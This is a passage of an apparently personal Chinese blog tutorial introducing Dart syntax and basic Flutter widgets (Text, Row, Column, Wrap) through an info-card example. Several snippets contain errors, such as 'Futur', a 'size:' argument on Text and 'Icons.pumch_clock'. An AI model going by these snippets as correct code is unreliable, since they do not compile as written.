class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"函数\"\u003e函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 普通函数\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 箭头函数(和 JS 的有点区别)\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 另一个使用例子 (e) =\u0026gt; print(e))\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enums\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"n\"\u003enums\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"类\"\u003e类\u003c/h4\u003e\n\u003cp\u003e这玩意东西太多了,我就光码字吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e类的成员默认都是公共成员,私有成员是在变量名前加 \u003ccode\u003e_\u003c/code\u003e号,有\u003ccode\u003e@protected\u003c/code\u003e宏。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDart 的类是单向继承,支持接口类\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e支持 abstract 抽象类,也就是需要继承来实现的类\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"异步方法\"\u003e异步方法\u003c/h4\u003e\n\u003cp\u003e先来个定义\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e异步是在很多领域都有的概念,在编程中,是相对于同步的。同步就是一条指令一条指令,按顺序执行。异步则可以同时运行多个任务,执行任务的时候,可以先返回一个“包含进度的实例”。然后有“回调函数”来把该实例中执行的状态返回。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eDart 的异步叫 \u003ccode\u003eFuture\u0026lt;T\u0026gt;\u003c/code\u003e,其中 T 是泛型啦。当你运行异步方法的时候,他会先返回一个 Future 类,然后按需返回结果,或者处理结果。我们有两个方式处理异步编程:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eFutur\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"kd\"\u003easync\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e相当于下面这段代码:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eseconds:\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprintWithDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edelayed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoneSecond\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"空安全\"\u003e空安全\u003c/h4\u003e\n\u003cp\u003e在你们使用 C 语言变量的时候,经常出现变量尚未定义就被使用了。Dart 引入了空安全机制,来帮助避免这个现象,让代码更稳定。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 默认所有类型均不可空,类型加问号,表示该变量可空\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 如此写会报编译错误,语言会进行空检查的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 可以使用 late 表示稍后赋值,但你不能忘了\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然还有很多,想知道的话请去看官方介绍。我当时看了俩下就上手了……\u003c/p\u003e\n\u003ch2 id=\"flutter-的基本部件介绍\"\u003eFlutter 的基本部件介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 的 Widget 是一个一个的类,描述了在当前的配置和状态下视图所应该呈现的样子。在 Flutter 里面,万物都是围绕部件旋转的。\u003c/p\u003e\n\u003cp\u003e接下来我要展示一个信息卡,用这个方式给大家展示 Flutter 的基本组件。顺便我搞点 HTML 之类的东西,来给大家做点对比。接下来的部件,都是按照 Material 部件来说明的,iOS 的不在此说明。\u003c/p\u003e\n\u003ch3 id=\"text-部件\"\u003eText 部件\u003c/h3\u003e\n\u003cp\u003eText 是用来渲染一段文字的。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Maggie Rules!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eMaggie Rules!\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eText 的属性有很多,比如说大小,斜体之类。有一个类叫 TextStyle,来给Text加属性,比如字体,阴影,颜色之类。那么,我可以这么写一个绿色的字。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;50 sucks\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003esize:\u003c/span\u003e\u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e\u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;color: green\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e 50 sucks \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我感觉通过这个,你们知道这玩意和 HTML+CSS 的对应了吧,也许。\u003c/p\u003e\n\u003ch3 id=\"rowcolumnwarp\"\u003eRow,Column,Warp\u003c/h3\u003e\n\u003cp\u003e你们可以看到,我在这些卡片上画了几条线。这是为了说明我们设计该卡片的基本架构,行和列。Flutter 的部件构造,就是在 Row 和 Column 之上的。\u003c/p\u003e\n\u003cp\u003eRow 和 Column 的写法差不多,都是这样的,更多属性一会再说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRow 代表行,Column 代表列。我们这个卡片是有三行的,每行是有对应元素的。通过这个,我们可以写出这个东西的框架了。\u003c/p\u003e\n\u003cp\u003e我们先实现每一行,第一行是在两侧的两个元素,注意到中间很大间隔了吗?这个是 Row 的一个属性,AxisAlignment。\u003c/p\u003e\n\u003cp\u003eAxisAlignment 是指这个部件两个轴上部件的排列方式,分为主轴 MainAxisAlignment 和交叉轴 CrossAxisAlignment。这张图片显示出这两个部件的主轴和交叉轴。我们通过修改这个,来规划好在该列/行上元素的排列方式。对于第一行,我们是这样写的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e//第一个Text\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e//第二个Text\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e剩下两行我这里就不赘述了,他们的排列方式都是靠左,也就是默认值。大致的代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;第1次\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epumch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;2022-12-12 11:11:11\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以上部分是最基本设计Flutter布局的样例了。实际使用中,这样写的方式很死板,遇到一些动态变化的组件,比如说很多行的文字,Column高度侦测问题等等,会花费大量的时间设置这些东西的样式。所以,在实际PDA的编写中,我是使用了Warp来让其自动排列这些组件,你只是需要输入这些部件就好了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrapAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003espaceBetween\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eTagsBoxes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etext:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;第 \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003emark\u003c/span\u003e\u003cspan class=\"s2\"\u003e 条\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebackgroundColor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eprimaryColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003esituation\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDivider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 